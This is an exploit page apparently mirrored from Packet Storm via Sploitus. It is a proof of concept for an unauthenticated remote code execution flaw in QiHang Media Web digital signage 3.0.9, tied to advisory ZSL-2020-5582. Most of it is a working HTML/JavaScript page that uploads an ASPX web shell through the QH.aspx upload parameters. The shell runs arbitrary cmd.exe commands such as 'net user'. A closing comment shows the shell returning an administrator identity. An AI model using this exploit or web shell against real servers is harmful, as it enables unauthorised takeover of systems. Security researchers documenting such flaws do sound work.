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## https://sploitus.com/exploit?id=PACKETSTORM:158862
<!--  
  
QiHang Media Web (QH.aspx) Digital Signage 3.0.9 (pre-auth) Remote Code Execution  
  
  
Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.  
Guangzhou Hefeng Automation Technology Co., Ltd.  
Product web page: http://www.howfor.com  
Affected version: 3.0.9.0  
  
Summary: Digital Signage Software.  
  
Desc: The application suffers from an unauthenticated remote code execution.  
The vulnerability is caused due to lack of verification when uploading files  
with QH.aspx that can be written in any location by utilizing the 'remotePath'  
parameter to traverse through directories. Abusing the upload action and the  
'fileToUpload' parameter, an unauthenticated attacker can exploit this to  
execute system commands by uploading a malicious ASPX script.  
  
Tested on: Microsoft Windows Server 2012 R2 Datacenter  
Microsoft Windows Server 2003 Enterprise Edition  
ASP.NET 4.0.30319  
HowFor Web Server/5.6.0.0  
Microsoft ASP.NET Web QiHang IIS Server  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5582  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5582.php  
  
  
27.07.2020  
  
-->  
  
  
<html>  
<body>  
<script>  
function uploadShellPoC()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "http:\/\/192.168.1.74:8090\/QH.aspx", true);  
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryhbcZX7o0Hw19h3kr");  
xhr.setRequestHeader("Accept", "*\/*");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");  
xhr.withCredentials = true;  
var body = "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" +   
"Content-Disposition: form-data; name=\"fileToUpload\"; filename=\"cmd.aspx\"\r\n" +   
"Content-Type: application/octet-stream\r\n" +   
"\r\n" +   
"\x3c%@ Page Language=\"VB\" Debug=\"true\" %\x3e\r\n" +   
"\x3c%@ import Namespace=\"system.IO\" %\x3e\r\n" +   
"\x3c%@ import Namespace=\"System.Diagnostics\" %\x3e\r\n" +   
"\r\n" +   
"\x3cscript runat=\"server\"\x3e\r\n" +   
"\r\n" +   
"Sub RunCmd(Src As Object, E As EventArgs)\r\n" +   
" Dim myProcess As New Process()\r\n" +   
" Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)\r\n" +   
" myProcessStartInfo.UseShellExecute = false\r\n" +   
" myProcessStartInfo.RedirectStandardOutput = true\r\n" +   
" myProcess.StartInfo = myProcessStartInfo\r\n" +   
" myProcessStartInfo.Arguments=xcmd.text\r\n" +   
" myProcess.Start()\r\n" +   
"\r\n" +   
" Dim myStreamReader As StreamReader = myProcess.StandardOutput\r\n" +   
" Dim myString As String = myStreamReader.Readtoend()\r\n" +   
" myProcess.Close()\r\n" +   
" mystring=replace(mystring,\"\x3c\",\"<\")\r\n" +   
" mystring=replace(mystring,\"\x3e\",\">\")\r\n" +   
" result.text= vbcrlf & \"\x3cpre\x3e\" & mystring & \"\x3c/pre\x3e\"\r\n" +   
"End Sub\r\n" +   
"\r\n" +   
"\x3c/script\x3e\r\n" +   
"\r\n" +   
"\x3chtml\x3e\r\n" +   
"\x3cbody\x3e\r\n" +   
"\x3cform runat=\"server\"\x3e\r\n" +   
"\x3cp\x3e\x3casp:Label id=\"L_p\" runat=\"server\" width=\"80px\"\x3eProgram\x3c/asp:Label\x3e\r\n" +   
"\x3casp:TextBox id=\"xpath\" runat=\"server\" Width=\"300px\"\x3ec:\\windows\\system32\\cmd.exe\x3c/asp:TextBox\x3e\r\n" +   
"\x3cp\x3e\x3casp:Label id=\"L_a\" runat=\"server\" width=\"80px\"\x3eArguments\x3c/asp:Label\x3e\r\n" +   
"\x3casp:TextBox id=\"xcmd\" runat=\"server\" Width=\"300px\" Text=\"/c net user\"\x3e/c net user\x3c/asp:TextBox\x3e\r\n" +   
"\x3cp\x3e\x3casp:Button id=\"Button\" onclick=\"runcmd\" runat=\"server\" Width=\"100px\" Text=\"Run\"\x3e\x3c/asp:Button\x3e\r\n" +   
"\x3cp\x3e\x3casp:Label id=\"result\" runat=\"server\"\x3e\x3c/asp:Label\x3e\r\n" +   
"\x3c/form\x3e\r\n" +   
"\x3c/body\x3e\r\n" +   
"\x3c/html\x3e\r\n" +   
"------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" +   
"Content-Disposition: form-data; name=\"action\"\r\n" +   
"\r\n" +   
"upload\r\n" +   
"------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" +   
"Content-Disposition: form-data; name=\"responderId\"\r\n" +   
"\r\n" +   
"ResourceNewResponder\r\n" +   
"------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" +   
"Content-Disposition: form-data; name=\"remotePath\"\r\n" +   
"\r\n" +   
"/opt/resources\r\n" +   
"------WebKitFormBoundaryhbcZX7o0Hw19h3kr--\r\n";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);   
xhr.send(new Blob([aBody]));  
}  
</script>  
<form action="#">  
<input type="button" value="Click" onclick="uploadShellPoC();" />  
</form>  
</body>  
</html>  
  
<!--  
JSON response for successful upload:  
{  
"first": true,  
"second": [  
"cmd.aspx"  
]  
}  
  
GET request: http://192.168.1.74:8090/opt/resources/cmd.aspx  
Command issued: /c whoami  
  
Response:  
robertovolare\administrator  
-->